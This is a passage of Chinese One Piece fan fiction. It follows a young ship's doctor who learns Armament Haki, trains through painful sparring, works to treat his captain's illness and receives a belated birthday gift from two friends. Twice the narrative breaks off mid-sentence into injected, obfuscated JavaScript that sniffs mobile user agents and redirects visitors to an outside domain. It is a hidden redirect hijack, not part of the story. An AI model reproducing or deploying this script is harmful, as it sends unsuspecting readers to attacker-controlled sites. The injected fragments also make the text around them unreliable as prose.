“虽然茵弗大哥做得很好吃...可是感觉...有点奇怪?” 朱尼尔嘴里塞得满满的,嘟嘟囔囔地说。 杰里的炖菜是很简单的罐装牛肉,还有一些土豆胡萝卜什么的。很饱人,对他们来说更是难得的美食,但是总有一丝奇怪的味道在里面,在舌头上留下一点苦味。 “可恶,有得吃就不要抱怨了啊...”杰克逊咬牙切齿地说,逗得身边几个更年幼的孩子咯咯笑。 他的伤让他不能吃炖菜,杰里煮了清淡好消化的汤面给他,虽然他没说,他也确信自己的饭里面那股苦味更重。 杰里打了个响指:“是茵弗玛利牌药膳哦~你们舌头都很灵嘛。” “诶?里面有药?” “一点点啦,毕竟还是想让你们吃得香一点,要是给船上的大家煮我会狠狠追求最大功效的。” 孩子们恢复的都不错,也许能在不法地带活到现在的他们都像岩石里钻出来的小草一样坚韧吧。 大概明天晚些时候就要出航,所以杰里不能再来看他们了。 他不知道他们的明天,后天,大后天会怎么样。 也许未来他们能成为他们想要成为的人,杰克逊会是大商人;珊米会是世界上跑得最快的人;或许他们会成为新的米森,照顾着那些更小的孩子长大。 也有可能等他下次再来香波地,他们早就消逝了。 他没有一起吃,只是将手撑在身体后面坐着,笑眯眯地看他们脸上放松的笑容。 看来至少他们的今天,还不错。 杰克逊想偷吃一口牛肉被珊米教训了;有一个小孩吃得太急呛到,朱尼尔用能动的一只手臂着急去拍他后背,差点仰倒;藏得到处都是的物资还剩一半,另一边据说送给了住在别处的伙伴—— 杰里躺平在硬邦邦的地板上,缓缓抬手捂住自己的脸。他嘴角微微颤抖着,用只能自己听见的声音祈祷。 “别死了啊...小鬼们。” “你说什么,茵弗大哥?” “累了吗?要准备回去了吗?” “诶?可是茵弗哥不是明天就走了吗?多呆一会吧——” 杰里搓搓脸,又坐了起来,用一副很辛苦的语气长吁短叹道:“累了呀~你们这些家伙要么是小不点,要么受着伤,都帮不上忙,我走了可怎么办呀~我在海上该怎么对我的小患者们负责呢?” 孩子们瞬间炸了锅,像一群小鸡崽一样叽叽喳喳地证明自己有多么多么厉害,他们已经有多么多么幸运。 你一嘴我一嘴,还有互相揭短的,总之杰里听了一耳朵,大概意思就是让他好好地去继续冒险,而 ''等我长大了,我一定能帮上茵弗大哥的忙'' 吧。 “诶——真可靠啊你们,那就好好长大吧?” 好好学习怎么打架,怎么经商,怎么照顾好自己和重视的人。弱者没法在这片海上生存,那也要活下去呀。 他伸出小指和他们对在一起,许下一个天真又诚挚的约定。 “加油吧,小老鼠们~” 天色渐晚,杰里还没有回到夏琪的酒吧。 雷利在船员们调侃他是老妈子的声音里向门外走去,准备去不法地带看看。 还没走到门口,头上戴着奇怪头饰,手里捧着一个毛绒玩偶的龙就先他一步走了进来。 针对这次突然的行程,龙只能说是心情复杂。 虽然一开始只是跟着父亲去转转,后来逐渐地居然真的品味到一丝隐秘的愉悦。好像自己不是三十岁,而是回到了青少年的时期,和寻常家孩子一样被父亲带到游乐园体验亲子时光。 只不过那时的父亲眼角还没有那么多皱纹,肩膀也没有那么沉重。 露娜茜茜雅也是半被迫地跟他们一起体验了不少项目。不过后来她不怎么吱声,所以也没有一开始入园时的那种走几步就要安抚她的艰难感。 “哦!你们回来了,正好。” 雷利侧过身,等小实习生们跌跌撞撞的跑进去,询问他们有没有遇上茵弗。 “杰里还没回来?” 香克斯居然露出一副松口气的表情,在雷利疑惑的眼神里冲向了罗杰。 “船长!怎么办!我和巴基没找到可以送给杰里的礼物!” 面对香克斯焦急的表情,罗杰只是... 大声嘲笑。 “真逊啊香克斯!连礼物都选不好吗,一点也不男子汉啊。” 香克斯更难过了,死死地抿着嘴,抓住草帽的帽檐。 巴基:“杰里喜欢的那些破烂都有点奇奇怪怪的嘛,或者有个真真假假的故事什么的,游乐园里那些都是骗游客的纪念品啊。” 罗杰:“所以呢?” 香克斯大喊:“不是一点也不有趣,也不特殊嘛!杰里想要随时都可以买啊,也不足以被当成他的''收藏品''...” 罗杰又笑起来了,在香克斯委屈的“船长——”声音里按了按他俩的帽子。 “笨蛋啊哈哈哈哈!你俩不是送什么,都会被当成足以有故事的''收藏''吗?” 他们可是海贼,海贼把找到的宝藏送给别人,本身就是足以特别的一件事。 “而且那小子不是很喜欢你们吗,所以你捡根树枝给他他都会喜欢的。” 雷利没管那边突然变得咋咋呼呼的两小只,简单询问了龙一下孤儿们住的棚屋在哪里就打算出门。 龙听说他要去找茵弗却突然阻止了他,并提议自己去找。 “我去过那里,也比较熟悉。”他顿了顿,“当然,这并非出自于我是海军,想要借此做些什么,这点你可以放心。” 雷利只是打量了他一眼。 他当然注意到了龙对茵弗的兴趣,拜托,谁会不对这个奇怪的小家伙感兴趣啊。 不过,卡普追着他们的这些年他们和龙也不算是完全陌生,所以最后他只是把“老妈子”的保护欲咽了回去,同意了对方的请求。 等龙找到茵弗的时候,路灯已经照不亮全部的小巷了。昏昏暗暗的影子里,他只能模糊地看到对方坐在一个人的背上,而旁边隐约还躺着几个。 他被周围的鲜血吓了一跳,连忙加快脚步走了过去。 “你还好吗?受伤了吗?朱尼尔他们跟我说你早就离开了...” 等他走近了,看清眼前的场景后闭上了嘴。 茵弗脸上有一道口子,身上应该也有受伤,早上刚换的衣服已经被血洇透了。 但他只是笑眯眯地坐在一个昏迷的大汉身上,而对方的腿以一种古怪的角度扭曲着,明显是断了。 旁边还躺着三个人,或多或少的都有些受伤,但是最严重的无一例外都是严重骨折的腿,甚至有一位的骨茬都从血肉里钻了出来。 茵弗好像没听见自己的声音一样盯着他的手,在没什么亮光的小巷里,龙眯着眼辨认了一下,才发现他手上的黑色不只是月光下的血,而是一层武装色霸气。 这么小的年纪...? “龙先生...我学会了。” 龙听到他的语气,本能的察觉到了茵弗状态的不对劲。 所以即使他很担心对方身上的伤,也只是小心地蹲了下来,斟酌着开口:“霸气吗?这个年纪能学会确实很有天赋...” “''加强你的力量,直到对方碎掉''。” 茵弗粗着嗓子说,听起来像是在模仿谁。 他有些激动地看向龙,指了指身下的人肉坐垫。 “武装色不会消弱我的能力,也不会增强。但是我能''听''见,我的力量变化对对方的伤害有多大。” 他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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龙突然想起来昨天珊米说''听太多太久就会变奇怪''的事,还有香克斯他们安抚他的举动。 他有些犹豫地伸出自己的手,“你需要听一会儿我的声音吗?” 黑皮肤的小孩回过神,好像有些意外地歪歪头,又牵住了他的手。 “谢谢您,其实用耳朵听到的声音比用能力听到的要好很多哦~可是我身上全是血,蹭在您身上就太失礼了。” “啊如果你想的话也没关系。” “没事,不过您真大方。” 回去的路上两个人都没怎么说话,直到遥遥地可以看见敲竹杠酒吧暖色的灯光。 好像之前也有过类似的场景呢,在磁鼓岛上,牵着谁的手,在黑暗里向一抹光走。 又来了,那种感觉,杰里脚步慢了下来—— 他很想停下。 龙在此时开口了,终于问出自己等了好久的疑问。 “小医生,…你怎么看待海军?” 杰里偏头看他,思考着龙是在以什么身份问自己。海军问海贼?还是龙在问茵弗玛利? 他感觉大约是后者。 “如果您是因为这两天的事情觉得我会有什么想法,那可能要让您失望了。” “您想要我回答什么呢,先生?您有自己的答案,是想从我这里得到对您的答案的认同还是否认呢?” 杰里觉得自己果然还是失了不少血,出现幻觉了。自己这种模棱两可,相当于什么也没回答的回答,居然让龙的脸上出现了坚定的神色。 “而且,这种问题您问我?明明我也勉强算是个孩子吧。” 龙回想起自己和父亲坐在摩天轮里时的对话,父子二人难得的没有发生争吵。 他叹口气,只是重复道:“是啊,明明你也是个孩子。” 等他们走进夏琪的酒吧,香克斯立马跑过来,给了他一个大大的拥抱。 “杰里,你回来了!我们没找到好玩的纪念品,但是给你收集了一大瓶树脂,虽然它们变得有些硬硬的,还有,你的发夹我们帮你拿回来了,你早上忘在桌子上了......” 他叽里咕噜地念叨,却被龙拉开了,刚要问,就发现自己身上湿乎乎的。 “香克斯,茵弗受伤了,他得先处理伤口。” “受伤了?”雷利也走了过来,拉住他们就往楼上走。 杰里笑着安慰香克斯:“没事啦不痛的,我很喜欢香克斯的拥抱。而且你也不知道嘛,下次小心一点哦,血都蹭到你身上了吧?” “树脂好像离开树根和上面附叕的苔藓就会逐渐变硬呢,所以没事,不是你们装的有问题。” “发夹谢谢啦,而且我今天拿到新的了呢,是珊米送给我的。所以没有纪念品也没关系,我已经拿到了本次香波地的宝藏。” 雷利打断两人的交流,把他按在卧室的床上,又打开台灯照在他身上。看到粗糙处理的伤口皱了皱眉头。 “怎么回事?”他接过香克斯递来的医疗箱,“你自己可以处理吗?库洛卡斯今天不在这。要我帮你缝吗?” 杰里拜托香克斯向夏琪借一点绷带来,然后借着灯光剪开布料,一边用清水润湿,一边一点点揭下来。 “您缝也行,有点痛,所以我可能有点手抖,缝出来不好看。” “什么好不好看的......”雷利取出医用针线,他还是第一次仔细看茵弗的医疗箱,真是塞得乱七八糟,东西又多又杂。 “所以,怎么回事?” “跟人打了一架,噢!”杰里停下手上的动作,伸向雷利,聚精会神了半天,终于在手上覆盖了一层武装色 “学会了!” 雷利也有些惊讶:“很快啊,干的不错。” “所以怎么跑去和别人打架了?” “就打了,打赢了。” “不错嘛。” “嘿嘿,明天给巴//雷特先生看看。” “那家伙知道你学会了以后只会揍你揍得更狠吧?” “也是捏~” 20.内部破坏 从香波地的撤离还算顺利。 虽然交接完成的下一刻海军就又冲了上来,不过他们也早有预料。船员们五花八门的攻击一甩,就创造出足以前往鱼人岛的档口。 天气不错,海也蓝,奥罗杰克逊号在罗杰如此的废话下启航,无视身后的炮火。 杰里新奇地摸膜泡泡膜,又跑前跑后地看海里的风景。 鱼群在身边环绕,从头顶掠过,远处更深的地方模糊能看见体型巨大的黑影。 置身于水下,却又不是在游泳的感觉很奇怪,人的陆性本能暗示着这不合常理的可怖,而难得一见的奇观又勾起天性的惊叹。 肾上腺素引起的酥麻到底是恐惧还是兴奋也说不清,就像是走进一家观赏鱼店,四周的鱼缸都垒的高高的,与无穷的水与鱼之间只隔了一层薄薄的透明。 随着深度的增加,光线也逐渐变得昏暗,杰里脸都贴在泡泡上,耳边听着桑贝尔的介绍,眼睛一眨不眨地看着身上泛起磷光的深海生物。 下行地越深,它们的身形就越与黑暗相融,最后只能看见身上细小的微光,不知距离深浅地在周边闪烁。 真神奇啊——明明是要去海下一万米的地方,现在却好像在星空里飞翔。 “那家伙看起来真好吃...” “是吧?” “很多深海鱼都营养丰富呢...” 路过的雷利在杰里头上砸了一下,脚步都没停:“少撺掇桑贝尔去给你抓鱼,泡泡破了就等着完蛋吧。”他又捶了桑贝尔一拳,“你也少惯着他。” “雷利先生真是严格...” “是吧?” 太阳照不到的地方没有光,温度也在下降。如此与生命挂不上钩的环境居然充斥着生物,还有桑贝尔口中那么美的鱼人岛。 不过据说是一棵名为“宝树夏娃”的巨树传递了阳光。 杰里拢着身上的毛毯,往巴基身边贴了贴。 真可惜啊... 他们这次不会在鱼人岛停留,因为卡普说了会追过来,那么海军就一定会追过来,在新世界入口守株待兔。 更别提因为天龙人的事情,世界政府正在气头上,这段时间是别想消停了。 既然不能好好观光,只有桑贝尔会带几个船员回岛买点东西,杰里也就不打算下船了。 他还记得巴//雷特跟他说的话,进入后半段死了他不会管,雷利也说过新世界的危险。好不容易有资格走上甲板,他可不想再下去。 等见识过了海底翻涌的瀑布和海沟,海底的阳光和被两层泡泡包裹的鱼人岛,杰里赞叹一声,转身走向船舱,直到杰克逊号再次突破水面都没有出来。 “这也能叫学会武装色?” 巴//雷特一脸嫌弃地看着眼前的老鼠在那里一脸不畅地憋了半天,最后才举起两个武装色堪堪覆到手腕的拳头。 杰里转身,拳头砸在结实的假人上,发出一声闷响。巴//雷特表情没什么变化,他只好一拳一拳继续砸下去,回忆着真人的触感,努力把面前的红标想象成人的骨头。 一、二、三、他用三拳打断了第一个混混的腿;四、五、六、能听到对方的''声音''要容易得多;七、八、九、如果他专心,那么打在哪里会更痛,哪里是最脆弱的点根本不是秘密; 十——假人在断裂时发出一声沉闷的响,和人的哀鸣毫无相像。 杰里没在意向地上歪斜的假人,只是继续砸下去。他听不到没有生命的物体的声音,想要知道自己的力量的话,只能破坏到底。 他没有回头看巴//雷特的表情,但是等手下的假人彻底碎成一块块之后,耳边传来了破风的声音。 迅速转身,躲闪,巴//雷特漆黑的拳头擦过脸颊,打碎了身后的另一个假人。杰里没有继续躲避,而是抬手,对着那条有他腿粗的小臂狠狠砸了下去。 武装色相撞,他手臂发麻,听声音就能知道自己还差得远,不过...他勾起嘴角—— 虽然只有短短的一瞬,也无比微弱,但是切实地有“疼”的反馈,而方向的话...靠近肘关节的地方...肱骨髁?而且,和海军战斗时受的伤还没好完全啊。 子弹先生,您果然也是人类。 再次矮身躲过巴//雷特的拳头,顺势绕到对方身侧跳起,双手交握对着肩胛骨下方就是一击。 巴//雷特的确在香波地跟海军打时被卡普手下的一名剑客从侧后方砍了一刀。他咬咬牙,这小子找的真准,对着伤口下手也真是符合他的老鼠作风。但如果他以为这样就能让自己受制那还是太天真了。 杰里当然没那么蠢,但是他只需要对方那不到一秒的停顿而已。 他握住巴//雷特没来得及收回去的手肘两侧,狠狠地对着肱骨附近用覆上武装色的膝盖向上一顶,也没空想为什么这次使用得这么顺利。 他当然不能一下就打碎这个身体强的离谱的怪物,在被惊讶又愤怒的巴//雷特打飞之前,杰里嘻嘻一笑。 他听到了——多来几下就碎了。 勉强算是他老师的人难得没有继续揍他,还颇有耐心地等他笑够了之后爬起来,晃悠悠地走过来。 “先生,等我也能一击打碎您的骨头,是不是就能算学会您的武装色霸气了?” 巴//雷特扭扭刚刚被杰里攻击的那只胳膊,他不知道这小子打到哪了,居然有点酸痛。 “只是刚会缠绕硬化而已。”他哼了一声,“想打伤我,还是身体内部?差得远呢。” 结果这小鬼像是被触发了什么关键词一样,来回地看看他又看看他的手臂,就差围着他转圈了。 “身体内部?可以吗?霸气做得到?我可以随便选择打碎您身体里的哪里吗?” 巴//雷特一阵火起,再次握拳朝那张欠打的嘴揍过去。小耗子却没像以往一样左逃右窜,而是直直地用自己的拳头迎了上来。 他不觉浮起一丝笑意,加大了手上的力道。 等杰里从墙上滑下来,哼哼唧唧抱怨他打小孩儿的时候,巴//雷特只是冷漠地把他踢到门口——这也算是他俩训练结束的信号。 “感受到了,小子?这就叫''内部破坏''。” 感受到了,他的每一块骨头,每一丝血肉都在痛,即使明面上好像没有那么严重。 如果能接触到,他甚至好像能感受到对方''强大''的那股声音冲到自己的身体里肆虐。 如果接的住,他就不会是输的那个。如果能弹回去呢? 不过至少今天他不打算问了,以免这个脑子里都被炮火熏得一股硫磺气的家伙再开始他的''实战式教学''。 他没爬起来,巴//雷特也没管,从他身上迈过后先行离开了,一脸心情还不错的样子。 揍我是真的很给他解压吗? 杰里撇撇嘴,翻身滚到了门边的软垫上。 累死啦—— 巴//雷特刚走到甲板上就发现他们已经离开海底了。奥罗杰克逊号慢悠悠前进着,罗杰和几个船员在船尾和船舷边嬉笑着,一边把海军投来的炮火斩断一边回击。 虽然会不会接舷打一场全看船长心情,他还是又折回去准备把小耗子抓出来准备上战场。那个词怎么说的来着?活学活用? 推开训练室的门,对方果然没走,缩缩着躺在闲置的软垫上睡觉,也没准是昏过去了。< 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不过他记得自己最后是在训练室来着?可能是香克斯和巴基来找他了吧,或者雷利? 库洛卡斯看他醒了,一脸不悦地从炉子上温着的锅里倒出一碗药汤,示意他喝掉。 “你怎么搞的,皮外伤到还好,身体里怎么乱七八糟?” 杰里皱着脸把碗里苦涩的液体一饮而尽,从床头柜里摸了一块糖出来塞到嘴里,把脸颊撑的鼓鼓的。 哼哼,他可是知道罗杰在哪藏私货的。 “训练。”他嘟囔着,看了一眼库洛卡斯脸上的表情,笑眯眯地拍拍对方的手臂。 “没事啦~有您在我瞬间就能好了,老大!” 库洛卡斯无语,又用听诊器听了听他的身体状况,就挥挥手示意他赶紧滚蛋。 杰里反倒不安起来了,总是骂他的船医先生没骂他,甚至动作都温柔起来了,眼神里全是无奈。 “您...最近很累吗?” 库洛卡斯有点好笑,也不知道这小子又想到啥了:“啊,累了啊,你们这些家伙一天天的都不省心,没了我可怎么办啊?” 杰里听出了对方放缓的,带着玩笑意味的语气,正因如此,他才愣住了,嘴里的糖块突然压不住上涌的苦意。 他是不是才说过类似的话? 只不过库洛卡斯的话语更沉,更合格。自己当时是想到什么了来着? ''别死?'' 他目光扫过库洛卡斯桌上日益增高的医案,还有角落里有些散乱的床铺。他总是骂自己工作台太乱,东西堆得到处都是,不过现在好像也开始和他差不多了。 杰里突然感觉喉咙里有什么哽住了,明明那颗甜的要死的糖还好好地含在他嘴里。 库洛卡斯看他发呆,有些疑惑地戳戳他的脑袋,见淡金的头发还散着,就随手拿过柜子上的皮筋替他扎了起来。 “别愣了,没事了就去吃饭,顺便把罗杰的药给他送过去,我就不跑一趟了。” 手下的小孩突然坐直了,拽过床尾的衣服就往身上套。 “当然了!没问题!那我去训练了!” “?哈??听人说话啊臭小子!” 杰里当然听了,他一直都在听。 他快速窜到药桌前,看了一眼桌角的便签后就熟练地拿起几个瓶瓶罐罐。 “放心吧,老大!我送!然后您好好休息一天,等晚点罗杰先生来体检,我训练结束后会来帮忙的!” 路过意外的库洛卡斯时他凑上去用一只手搂抱了一下,就急匆匆地向外跑去。 “等着我啊!” 21.行动吧,茵弗玛利 香克斯快一周没见到杰里了,但是—— 进入新世界的第一天,海军的军舰就像尾巴一样一直黏在他们身后,卡普那个怪物还抓着炸弹往杰克逊号身上砸。 杰里一般不参与和海军的战斗,雷利前辈说太过暴露在海军的视野里对他来说并不好。 所以即使那一天都没见到杰里,他也没觉得奇怪,只是在甲板上帮忙。 等到睡觉时间也没看到人,巴基去找之后,回来说杰里在医务室睡觉。 那应该就是训练的时候又被巴//雷特揍了,也算是常规。库洛卡斯不允许他们经常跟着一起在医务室睡,虽然礼物没送出去有些可惜,可是还有明天。 等第二天去饭堂的时候,芋头前辈却告知他们杰里过来拿了个面包就离开了。午饭也没见到杰里,即使桑贝尔前辈特意抓了深海鱼。 他和巴基虽然年纪小,也是实习生,在船上还是要做一些杂活,也有自己在甲板上的训练。 在休息时询问雷利前辈,对方也只是说他也没见到,并说好了结束后一起去训练室或者医务室看看。 刚走到训练室门口,医务室那边就传来船长的霸气。一瞬间香克斯还以为自己回到了那个可怕的晚上,只不过这次自己在门外。 还好,杰里虽然和上次一样晕过去了,但是没有流血。 雷利前辈让他们俩先离开,明天再来。 ...至少还有明天。 明天接着明天,一周过去了。 杰里没回过他们的房间,也不上甲板,只是在训练室和医务室之间辗转,饭都是库洛卡斯前辈打包带回去。 这一周他们也很忙,忙着应付新世界,应付海军,等风暴随着追兵一同离开,香克斯也没怎么见到杰里。 不过在一次战斗后,雷利前辈表情严肃地跟卡普交涉了什么,对方点头后,带走了被斗篷从头裹到脚的杰里,很晚才回来。直到海军离开前都是如此。 一周变成了两周,船员们开始切磋地越加频繁,虽然不至于下死手,也会带着一身伤去医务室。后来不知道发生了什么,这种切磋被叫停了。 香克斯不明白具体原因,但他知道跟杰里有关。 有时候他和巴基会表情严肃地坐在医务室门口等,抱着双臂,希望自己的伙伴能看出来他们的担忧。 运气好的话的确会碰上杰里,对方看起来很累,但还是一如既往地笑着打招呼,拥抱他们,亲吻他们的脸颊,然后急忙离开。 两周变成了三周。 在碰上几次巴//雷特面色难看地把昏迷的杰里送回医务室之后,他们难得地和这个独来独往的家伙搭话,询问,又或许算的上是质问。 穿军装的青年只是不耐烦地说变强也好,找他受虐也罢,都是杰里自己的选择,让他们两个藤壶滚回罗杰身边吃奶去。 语气恶劣,态度鄙夷,不过他真的很不会隐藏自己的脸色——香克斯居然在这个冷血无情的家伙身上看出来了一丝担忧。 雷利前辈每次从医务室里出来,只是让他们别打扰茵弗,英俊的脸上难得地露出疲惫,心情复杂地拍拍他们的头。 “那孩子在帮我们,也许你们也可以帮我们想一想该怎么帮他?” 很快,香克斯就可以说自己这一个月见到杰里的次数用手都数的过来。 他居然也开始习惯了医务室时不时波动的,来自船长的霸气;习惯了渗透在墙壁里的,或苦涩或刺鼻的药味;习惯了偶尔传来的,物体破碎的声响;他努力不去想象门后发生了什么。 这段时间船员们偶尔会有一两位划着小船离开杰克逊号,去打听某个消息,或者寻找某种草药,某本医书。 当他问贾巴前辈为什么大家不一起去时,对方只是推推墨镜,说航线不会变,因为''罗杰是个固执的家伙'',海贼船的方向永远是船长决定的。 没人愿意失去罗杰船长,但大家都心知肚明,自库洛卡斯上船那一刻起,海贼团的命运就已经开始倒计时了。 香克斯很少让自己去仔细思考这个事实。 第一周的时候,罗杰船长和雷利前辈吵了一架,这是连从小在船上长大的小实习生都没怎么见过的事。他不知道他们因什么争吵,但是能猜出来无非就是治病,杰里,这类的东西,因为船长没有更改航向,但是默许了船员的外派,这就是他们吵架的结果。 他一面为船长的妥协而感到感激,一面为自己把全部希望放在杰里身上而感到愧疚,对方真的看起来很累。 之后的某一天,罗杰船长在训练后悄悄地凑到他和巴基的耳边,像往常一样笑着说:“下次风暴过后的晚上,到甲板上看看吧。” 香克斯呼哧呼哧地喘着气,鼻尖上是海的味道,汗水的味道,还有熟悉的,他长大的怀抱里,父亲的味道。 他看着罗杰的笑脸,鬼使神差地伸出手,学着杰里的样子摸了摸船长翘翘的胡子。 新世界并不缺少恶劣的天气,隔天他们就遇上了一场暴风雨。晚饭惯例是热汤和吐司,芋头前辈模仿杰里做了一种又甜又辣的果酱,不过吃起来好像没那么神奇。 当天晚上,他叫上巴基,在大家都休息后悄悄溜上了甲板。香克斯犹豫了一下,还是有些紧张地带上了早在鱼人岛就买好的礼物,直觉告诉他,船长就是为了让他们找杰里的。 没走多远,守夜的船员就发现了他们,不过没有出声,只是悄悄指了指船头的方向。 顺着手指的方向看过去,果然是他们希望看到的人——光着脚,头发散着,白色的衣服被清冷的月光照得模模糊糊。 杰里没注意到他们,只是很认真地在潮湿的甲板上行走,直到停在桅杆前。 书里的天使是不是就是这样的?安静地降临在船上,来拯救他们。 巴基已经跟过去了,见香克斯愣神还狠狠拍了下他的肩膀。 走近之后,他才看清楚杰里不止是停在桅杆前,而是双手和额头都贴在上面,小声地嘀咕。 声音很小,不过大概是在跟杰克逊号讲话吧,有关''不明白''什么的。很认真地样子,还被他俩吓了一跳。 “哇啊!你们怎么没休息?” 香克斯有一千个问题想问,一万句话想说,最后只是一言不发地牵起对方的手走到月光下。 “怎...怎么了?你们心情不好吗?熬夜的话心脏会不舒服,明天心情更不好哦...” 巴基:“切,反正你也不在乎。” 杰里:“!!?” 香克斯一惊:“喂!巴基!别这样说!” 巴基只是皱着眉头撇着嘴,握紧了牵着杰里的手。 香克斯有些无奈,他当然也很想杰里啦... 安抚地拍拍对方僵直的脊背,真是难得看到平常很游刃有余的家伙这个样子...不过现在自己现在也没心情逗他就是了。 “别在意,杰里...巴基不是那个意思...你也知道他...” “对不起。” 杰里突然松开了他们的手,郑重其事地深深地鞠躬。 ?? 巴基——都怪你! 杰里是真的吓到了,脑袋里嗡地一声,下意识就先道歉,疯狂盘算着自己做了什么让巴基这么说。 不管是真心的,还是只是习惯性的随嘴埋怨,巴基从来不说这种——这种听起来有点脆弱的话。 上次的实验失败了...罗杰先生的身体没有对新的药剂产生反应,可是明明应该对症才对... 试药是一个长期的过程,他不能隔一天就换一种方案,关于恶魔果实的猜想也没来得及做,霸气学习也还没有太大进展...想要通过内部破坏的方式精准的消除病变组织还需要加大训练... 果然还是太慢了吗?巴基和香克斯生气了? 其他人也生气了吗? 可是通过切磋受伤好让自己练习能力这种主意...他绝对不可能喜欢啊! 海军那边足以算上''强大''的声音不多,他这段时间适应力早已上升不少,但是不够,要听罗杰先生还是有些勉强... 即使库洛卡斯先生说已经帮大忙了,事实上也确实是他还没做出什么成果... 这回是巴基先牵住了他的手,打断了杰里脑子里飞速旋转的齿轮。 “没、没关系啦,我、我们知道你在忙...你这臭毛病怎么还没改啊。” 诶?是因为自己太忙了?仔细想想的话...好像确实很久没有好好花时间和他们俩在一起... 话说,他有跟他们解释过自己都在忙什么吗? 如果立场对调的话,自己也会感觉到被抛弃的生气难过的。 哦...神啊...我又做错了... 看到杰里更僵硬了,香克斯赶紧从口袋里翻出来迟到了好几个月的生日礼物递过去。 “生日快乐——啊,之前的生日快乐。” 香波地购物失败之后,香克斯和巴基决定要在鱼人岛选礼物,毕竟鱼人岛那么美,和人类生活的世界又完全不同,买什么都会很特别。 结果雷利说不在鱼人岛停靠,吓得他赶紧找到桑贝尔,拜托他去替芋头买食材的时候带上他们。 时间很紧,鱼人岛又很大,两个人为到底买什么闹了半天,对宝藏的定义也各有不同。虽然巴基还是更偏向那些亮晶晶的财宝首饰,不过最后两人折中,选了一条简单的项链。 红珊瑚被打磨成珍珠大小串在一起,额外没有什么特别的挂坠。香克斯一眼就看中了它,因为长得很像辛棘果。听他这么说巴基本来想换一个,但是价格便宜,杰里又确实会喜欢这种有点趣味的玩意,最后还是妥协了。 杰里默默地听他们你一嘴我一嘴地讲,借着月光仔细端详手里的珠链。 ——确实长得很像辛棘果,色泽和大小都很像。如果感性一点思考的话,就会感觉是磁鼓岛的一部分又回到了自己身边一样。 说实话他不知道新年是不是自己的生日,在孤儿院的时候修女会带着同一个月出生的孩子们在月初一起吃一次蛋糕和点心,他有记忆的也只参加过一次。 所以香克斯后来问,他就随嘴说了一句是一月一日。 毕竟连米森都不知道他的生日,因为她在街口捡到他的时候,身边没有表示身份的留言,他也并不在意。 居然还有礼物收的吗——希鲁鲁克好像没送过他生日礼物?不,他的毛毯应该算是。 没有好好送希鲁鲁克礼物的原来是自己?真是失礼—— 杰里回过神,意识到面前的二人还在紧张兮兮地等他的反应,真是可爱。他张开双臂,亲昵地拥抱他们,表达喜欢和感谢,而怀里的香克斯看到他终于又放松下来的肩膀松了口气。 “杰里、又不穿鞋。” “因为暴风雨嘛,我想踩甲板啊。” “不会冷吗?” “嗯...一点点,但是触感很神奇哦。” “滑倒怎么办?” “那就替我保密啦~就像我替你保密上次砍坏船舷之后自己偷了工具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720847|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄修补一样。” “!!?你怎么知道的!” 杰里没回答,只是在香克斯震惊的眼神里微笑着,慢悠悠地把手里的项链套在了脖子上,又牵起他俩往饭厅走。 “吃夜宵吗?你们可以给我讲我都错过了什么,我也给你们讲讲我最近在干嘛,怎么样?” 香克斯遗憾:“冰箱锁了,撬不开的。” 于是杰里在香克斯再度震惊的表情下,十分具有表演意味地从兜里捏出来了一把钥匙。 “保密哦~” - “所以,就是这样啦。” 饭厅里只悄悄点了一盏灯,三个人围在角落里咔嚓咔嚓地吃着杰里特制【很适合当夜宵的易消化饼干】和一点黏糊糊的酸奶。 “想吃肉啊,杰里,我看到冰箱里有剩下的烤海兽肉了。” 杰里表面平静地回答:“不行,以后得胃病怎么办,而且烤海兽肉芋头先生明天要用来做三明治的,我很想在早上吃冷肉三明治。” 他内心已经无比震惊,原来自己这段时间在香克斯他们眼中是这种状态吗?天天晃悠悠地在走廊里飘过,不见光不见水跟得了狂犬症一样。负心汉一般地敷衍他们,但是为了伟大的事业和目标他们也能理解那种。 巴基抱怨道:“看你天天不出医务室还以为你吃饭都不顾了呢。” 杰里:“怎么会,我那么喜欢吃东西,有拜托库洛卡斯先生把刚出锅的第一份给我带回来不是吗。” 香克斯:“所以之前每次打架之后都去海军那边是为了练习能力啊,还以为你要走了。” 杰里安抚地摸摸他红色的头发:“没有啦,别担心,只是在船上没那么多机会练习。”他放下手里的饼干,有些苦恼,“但是这样太慢了。所以我不确定这种锻炼方法是否真的合适。” 现在的问题有三点,最主要的就是,罗杰身体里太吵了,他现有的能力水平根本听不明白到底怎么回事,只能一点点地磨,和库洛卡斯一起一边尝试着治一边学。 再就是他发现巴//雷特和船上的其他人比起来,在恢复时身体里的声音和别人的不太一样。 虽然每个人都有所不同,但规律是差不多的,只有□□好像有另一种声音,库洛卡斯提议说也许是恶魔果实的关系。 最后就是霸气的问题,和霸气接触的多了,他也发现了很多之前注意不到的东西。除了他人在使用霸气时声音会有所不同之外,最明显的一点就是霸气耗尽之后带来的疲惫感很难恢复,只是在船上没有遇见过这种情况,所以他不确定是什么样的声音,他自己的又听不到。 但是类推的话,过于消耗霸气也许是会带来副作用的。 而罗杰的霸气太强大了,也很复杂,那么副作用呢?是否也使他的病更加复杂? “总之...我需要更多的时间...”杰里收起手指,有些出神地盯着自己的手。 他不知道他们还能有多少时间。 这句话他没说,香克斯和巴基也没说,但是从表情上看,他们也都明白。 夜深了,等他们的交谈声慢慢消失,世界好像就只剩下海浪的声音,还有木板偶尔的嘎吱声。香克斯偶尔经过罗杰的房间的时候,能听到对方的咳嗽,可是现在应该只有呼噜声吧?想到船长鼻子里吹着泡泡打呼的样子,香克斯没忍住笑了笑,用带着饼干渣的手拉住杰里。 “谢谢你,杰里,你愿意试着帮忙我们就很开心了。” 巴基倒是好好擦了擦手才伸过来,“啊,是啊,本大爷还以为你''不行医''要很久呢。” 